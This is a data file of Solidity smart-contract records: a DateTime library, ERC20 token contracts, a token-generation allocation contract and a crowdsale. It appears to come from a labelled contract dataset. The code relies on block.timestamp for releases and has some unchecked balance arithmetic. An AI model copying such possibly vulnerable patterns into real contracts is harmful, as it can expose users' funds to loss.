buf = YEAR_IN_SECONDS;
}
if (secondsAccountedFor + buf > timestamp) {
break;
}
dt.year += 1;
secondsAccountedFor += buf;
}
uint8[12] monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(dt.year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
uint secondsInMonth;
for (i = 0; i < monthDayCounts.length; i++) {
secondsInMonth = DAY_IN_SECONDS * monthDayCounts[i];
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i + 1;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 0; i < monthDayCounts[dt.month - 1]; i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i + 1;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
for (i = 0; i < 24; i++) {
if (HOUR_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.hour = i;
break;
}
secondsAccountedFor += HOUR_IN_SECONDS;
}
for (i = 0; i < 60; i++) {
if (MINUTE_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.minute = i;
break;
}
secondsAccountedFor += MINUTE_IN_SECONDS;
}
if (timestamp - secondsAccountedFor > 60) {
__throw();
}
dt.second = uint8(timestamp - secondsAccountedFor);
buf = timestamp / DAY_IN_SECONDS;
dt.weekday = uint8((buf + 3) % 7);
}
function getYear(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).year;
}
function getMonth(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).hour;
}
function getMinute(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).minute;
}
function getSecond(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).second;
}
function getWeekday(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).weekday;
}
function toTimestamp(uint16 year, uint8 month, uint8 day) constant returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, minute, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) constant returns (uint timestamp) {
uint16 i;
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
uint8[12] monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
timestamp += DAY_IN_SECONDS * (day - 1);
timestamp += HOUR_IN_SECONDS * (hour);
timestamp += MINUTE_IN_SECONDS * (minute);
timestamp += second;
return timestamp;
}
function __throw() {
uint[] arst;
arst[1];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 5,021 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (address => uint64) internal roots;
mapping (bytes32 => uint64) internal chains;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function getFreezingSummaryOf(address _addr) public constant returns (uint tokenAmount, uint freezingCount) {
uint count;
uint total;
uint64 release = roots[_addr];
while (release != 0) {
count ++;
total += balanceOf(address(keccak256(toKey(_addr, release))));
release = chains[toKey(_addr, release)];
}
return (total, count);
}
function getFreezing(address _addr, uint _index) public constant returns (uint64 _release, uint _balance) {
uint64 release = roots[_addr];
for (uint i = 0; i < _index; i ++) {
release = chains[toKey(_addr, release)];
}
return (release, balanceOf(address(keccak256(toKey(_addr, release)))));
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
bytes32 currentKey = toKey(_to, _until);
transfer(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
uint64 head = roots[msg.sender];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
address currentAddress = address(keccak256(currentKey));
uint amount = balances[currentAddress];
delete balances[currentAddress];
balances[msg.sender] += amount;
if (next == 0) {
delete roots[msg.sender];
}
else {
roots[msg.sender] = next;
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal constant returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
uint64 head = roots[_to];
if (head == 0) {
roots[_to] = _until;
return;
}
bytes32 headKey = toKey(_to, head);
uint parent;
bytes32 parentKey;
while (head != 0 && _until > head) {
parent = head;
parentKey = headKey;
head = chains[headKey];
headKey = toKey(_to, head);
}
if (_until == head) {
return;
}
if (head != 0) {
chains[toKey(_to, _until)] = head;
}
if (parent == 0) {
roots[_to] = _until;
}
else {
chains[parentKey] = _until;
}
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner {
bytes32 currentKey = toKey(_to, _until);
mint(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
}
contract usingConsts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "GPCCTOKEN";
string constant TOKEN_SYMBOL = "GPCCT";
bool constant PAUSED = false;
address constant TARGET_USER = 0x6D5BdbEec91CC5e79b7A4Ab8Fd4fB89520497e72;
uint constant START_TIME = 1517997621;
bool constant CONTINUE_MINTING = true;
}
contract MainToken is usingConsts, FreezableMintableToken, BurnableToken, Pausable {
function MainToken() {
if (PAUSED) {
pause();
}
}
function name() constant public returns (string _name) {
return TOKEN_NAME;
}
function symbol() constant public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() constant public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,913 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic _token) external onlyOwner {
uint256 balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract HasNoEther is Ownable {
constructor() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(
address _from,
uint256 _value,
bytes _data
)
external
pure
{
_from;
_value;
_data;
revert();
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address _contractAddr) external onlyOwner {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(owner);
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract Authorizable is Ownable {
mapping (address => bool) public authorized;
event Authorize(address indexed who);
event UnAuthorize(address indexed who);
modifier onlyAuthorized() {
require(msg.sender == owner || authorized[msg.sender], "Not Authorized.");
_;
}
function authorize(address _who) public onlyOwner {
require(_who != address(0), "Address can't be zero.");
require(!authorized[_who], "Already authorized");
authorized[_who] = true;
emit Authorize(_who);
}
function unAuthorize(address _who) public onlyOwner {
require(_who != address(0), "Address can't be zero.");
require(authorized[_who], "Address is not authorized");
authorized[_who] = false;
emit UnAuthorize(_who);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HoldersToken is StandardToken {
using SafeMath for uint256;
address[] public holders;
mapping (address => uint256) public holderNumber;
function holdersCount() public view returns (uint256) {
return holders.length;
}
function transfer(address _to, uint256 _value) public returns (bool) {
_preserveHolders(msg.sender, _to, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
_preserveHolders(_from, _to, _value);
return super.transferFrom(_from, _to, _value);
}
function _removeHolder(address _holder) internal {
uint256 _number = holderNumber[_holder];
if (_number == 0 || holders.length == 0 || _number > holders.length)
return;
uint256 _index = _number.sub(1);
uint256 _lastIndex = holders.length.sub(1);
address _lastHolder = holders[_lastIndex];
if (_index != _lastIndex) {
holders[_index] = _lastHolder;
holderNumber[_lastHolder] = _number;
}
holderNumber[_holder] = 0;
holders.length = _lastIndex;
}
function _addHolder(address _holder) internal {
if (holderNumber[_holder] == 0) {
holders.push(_holder);
holderNumber[_holder] = holders.length;
}
}
function _preserveHolders(address _from, address _to, uint256 _value) internal {
_addHolder(_to);
if (balanceOf(_from).sub(_value) == 0)
_removeHolder(_from);
}
}
contract PlatinTGE {
using SafeMath for uint256;
uint8 public constant decimals = 18;
uint256 public constant TOTAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
uint256 public constant SALES_SUPPLY = 300000000 * (10 ** uint256(decimals));
uint256 public constant MINING_POOL_SUPPLY = 200000000 * (10 ** uint256(decimals));
uint256 public constant FOUNDERS_AND_EMPLOYEES_SUPPLY = 200000000 * (10 ** uint256(decimals));
uint256 public constant AIRDROPS_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals));
uint256 public constant RESERVES_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals));
uint256 public constant ADVISORS_POOL_SUPPLY = 70000000 * (10 ** uint256(decimals));
uint256 public constant ECOSYSTEM_POOL_SUPPLY = 30000000 * (10 ** uint256(decimals));
address public PRE_ICO_POOL;
address public LIQUID_POOL;
address public ICO;
address public MINING_POOL;
address public FOUNDERS_POOL;
address public EMPLOYEES_POOL;
address public AIRDROPS_POOL;
address public RESERVES_POOL;
address public ADVISORS_POOL;
address public ECOSYSTEM_POOL;
uint256 public constant PRE_ICO_POOL_AMOUNT = 20000000 * (10 ** uint256(decimals));
uint256 public constant LIQUID_POOL_AMOUNT = 100000000 * (10 ** uint256(decimals));
uint256 public constant ICO_AMOUNT = 180000000 * (10 ** uint256(decimals));
uint256 public constant FOUNDERS_POOL_AMOUNT = 190000000 * (10 ** uint256(decimals));
uint256 public constant EMPLOYEES_POOL_AMOUNT = 10000000 * (10 ** uint256(decimals));
address public UNSOLD_RESERVE;
uint256 public constant ICO_LOCKUP_PERIOD = 182 days;
uint256 public constant TOKEN_RATE = 1000;
uint256 public constant TOKEN_RATE_LOCKUP = 1200;
uint256 public constant MIN_PURCHASE_AMOUNT = 1 ether;
PlatinToken public token;
uint256 public tgeTime;
constructor(
uint256 _tgeTime,
PlatinToken _token,
address _preIcoPool,
address _liquidPool,
address _ico,
address _miningPool,
address _foundersPool,
address _employeesPool,
address _airdropsPool,
address _reservesPool,
address _advisorsPool,
address _ecosystemPool,
address _unsoldReserve
) public {
require(_tgeTime >= block.timestamp, "TGE time should be >= current time.");
require(_token != address(0), "Token address can't be zero.");
require(_preIcoPool != address(0), "PreICO Pool address can't be zero.");
require(_liquidPool != address(0), "Liquid Pool address can't be zero.");
require(_ico != address(0), "ICO address can't be zero.");
require(_miningPool != address(0), "Mining Pool address can't be zero.");
require(_foundersPool != address(0), "Founders Pool address can't be zero.");
require(_employeesPool != address(0), "Employees Pool address can't be zero.");
require(_airdropsPool != address(0), "Airdrops Pool address can't be zero.");
require(_reservesPool != address(0), "Reserves Pool address can't be zero.");
require(_advisorsPool != address(0), "Advisors Pool address can't be zero.");
require(_ecosystemPool != address(0), "Ecosystem Pool address can't be zero.");
require(_unsoldReserve != address(0), "Unsold reserve address can't be zero.");
tgeTime = _tgeTime;
token = _token;
PRE_ICO_POOL = _preIcoPool;
LIQUID_POOL = _liquidPool;
ICO = _ico;
MINING_POOL = _miningPool;
FOUNDERS_POOL = _foundersPool;
EMPLOYEES_POOL = _employeesPool;
AIRDROPS_POOL = _airdropsPool;
RESERVES_POOL = _reservesPool;
ADVISORS_POOL = _advisorsPool;
ECOSYSTEM_POOL = _ecosystemPool;
UNSOLD_RESERVE = _unsoldReserve;
}
function allocate() public {
require(block.timestamp >= tgeTime, "Should be called just after tge time.");
require(token.totalSupply() == 0, "Allocation is already done.");
token.allocate(PRE_ICO_POOL, PRE_ICO_POOL_AMOUNT);
token.allocate(LIQUID_POOL, LIQUID_POOL_AMOUNT);
token.allocate(ICO, ICO_AMOUNT);
token.allocate(MINING_POOL, MINING_POOL_SUPPLY);
token.allocate(FOUNDERS_POOL, FOUNDERS_POOL_AMOUNT);
token.allocate(EMPLOYEES_POOL, EMPLOYEES_POOL_AMOUNT);
token.allocate(AIRDROPS_POOL, AIRDROPS_POOL_SUPPLY);
token.allocate(RESERVES_POOL, RESERVES_POOL_SUPPLY);
token.allocate(ADVISORS_POOL, ADVISORS_POOL_SUPPLY);
token.allocate(ECOSYSTEM_POOL, ECOSYSTEM_POOL_SUPPLY);
require(token.totalSupply() == TOTAL_SUPPLY, "Total supply check error.");
}
}
contract PlatinToken is HoldersToken, NoOwner, Authorizable, Pausable {
using SafeMath for uint256;
string public constant name = "Platin Token";
string public constant symbol = "PTNX";
uint8 public constant decimals = 18;
struct Lockup {
uint256 release;
uint256 amount;
}
mapping (address => Lockup[]) public lockups;
mapping (address => mapping (address => Lockup[])) public refundable;
mapping (address => mapping (address => mapping (uint256 => uint256))) public indexes;
PlatinTGE public tge;
event Allocate(address indexed to, uint256 amount);
event SetLockups(address indexed to, uint256 amount, uint256 fromIdx, uint256 toIdx);
event Refund(address indexed from, address indexed to, uint256 amount);
modifier spotTransfer(address _from, uint256 _value) {
require(_value <= balanceSpot(_from), "Attempt to transfer more than balance spot.");
_;
}
modifier onlyTGE() {
require(msg.sender == address(tge), "Only TGE method.");
_;
}
function setTGE(PlatinTGE _tge) external onlyOwner {
require(tge == address(0), "TGE is already set.");
require(_tge != address(0), "TGE address can't be zero.");
tge = _tge;
authorize(_tge);
}
function allocate(address _to, uint256 _amount) external onlyTGE {
require(_to != address(0), "Allocate To address can't be zero");
require(_amount > 0, "Allocate amount should be > 0.");
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
_addHolder(_to);
require(totalSupply_ <= tge.TOTAL_SUPPLY(), "Can't allocate more than TOTAL SUPPLY.");
emit Allocate(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function transfer(address _to, uint256 _value) public whenNotPaused spotTransfer(msg.sender, _value) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused spotTransfer(_from, _value) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferWithLockup(
address _to,
uint256 _value,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
public onlyAuthorized returns (bool)
{
transfer(_to, _value);
_lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable);
}
function transferFromWithLockup(
address _from,
address _to,
uint256 _value,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
public onlyAuthorized returns (bool)
{
transferFrom(_from, _to, _value);
_lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable);
}
function refundLockedUp(
address _from
)
public onlyAuthorized returns (uint256)
{
address _sender = msg.sender;
uint256 _balanceRefundable = 0;
uint256 _refundableLength = refundable[_from][_sender].length;
if (_refundableLength > 0) {
uint256 _lockupIdx;
for (uint256 i = 0; i < _refundableLength; i++) {
if (refundable[_from][_sender][i].release > block.timestamp) {
_balanceRefundable = _balanceRefundable.add(refundable[_from][_sender][i].amount);
refundable[_from][_sender][i].release = 0;
refundable[_from][_sender][i].amount = 0;
_lockupIdx = indexes[_from][_sender][i];
lockups[_from][_lockupIdx].release = 0;
lockups[_from][_lockupIdx].amount = 0;
}
}
if (_balanceRefundable > 0) {
_preserveHolders(_from, _sender, _balanceRefundable);
balances[_from] = balances[_from].sub(_balanceRefundable);
balances[_sender] = balances[_sender].add(_balanceRefundable);
emit Refund(_from, _sender, _balanceRefundable);
emit Transfer(_from, _sender, _balanceRefundable);
}
}
return _balanceRefundable;
}
function lockupsCount(address _who) public view returns (uint256) {
return lockups[_who].length;
}
function hasLockups(address _who) public view returns (bool) {
return lockups[_who].length > 0;
}
function balanceLockedUp(address _who) public view returns (uint256) {
uint256 _balanceLokedUp = 0;
uint256 _lockupsLength = lockups[_who].length;
for (uint256 i = 0; i < _lockupsLength; i++) {
if (lockups[_who][i].release > block.timestamp)
_balanceLokedUp = _balanceLokedUp.add(lockups[_who][i].amount);
}
return _balanceLokedUp;
}
function balanceRefundable(address _who, address _sender) public view returns (uint256) {
uint256 _balanceRefundable = 0;
uint256 _refundableLength = refundable[_who][_sender].length;
if (_refundableLength > 0) {
for (uint256 i = 0; i < _refundableLength; i++) {
if (refundable[_who][_sender][i].release > block.timestamp)
_balanceRefundable = _balanceRefundable.add(refundable[_who][_sender][i].amount);
}
}
return _balanceRefundable;
}
function balanceSpot(address _who) public view returns (uint256) {
uint256 _balanceSpot = balanceOf(_who);
_balanceSpot = _balanceSpot.sub(balanceLockedUp(_who));
return _balanceSpot;
}
function _lockup(
address _who,
uint256 _amount,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable)
internal
{
require(_lockupReleases.length == _lockupAmounts.length, "Length of lockup releases and amounts lists should be equal.");
require(_lockupReleases.length.add(lockups[_who].length) <= 1000, "Can't be more than 1000 lockups per address.");
if (_lockupReleases.length > 0) {
uint256 _balanceLokedUp = 0;
address _sender = msg.sender;
uint256 _fromIdx = lockups[_who].length;
uint256 _toIdx = _fromIdx + _lockupReleases.length - 1;
uint256 _lockupIdx;
uint256 _refundIdx;
for (uint256 i = 0; i < _lockupReleases.length; i++) {
if (_lockupReleases[i] > block.timestamp) {
lockups[_who].push(Lockup(_lockupReleases[i], _lockupAmounts[i]));
_balanceLokedUp = _balanceLokedUp.add(_lockupAmounts[i]);
if (_refundable) {
refundable[_who][_sender].push(Lockup(_lockupReleases[i], _lockupAmounts[i]));
_lockupIdx = lockups[_who].length - 1;
_refundIdx = refundable[_who][_sender].length - 1;
indexes[_who][_sender][_refundIdx] = _lockupIdx;
}
}
}
require(_balanceLokedUp <= _amount, "Can't lockup more than transferred amount.");
emit SetLockups(_who, _amount, _fromIdx, _toIdx);
}
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
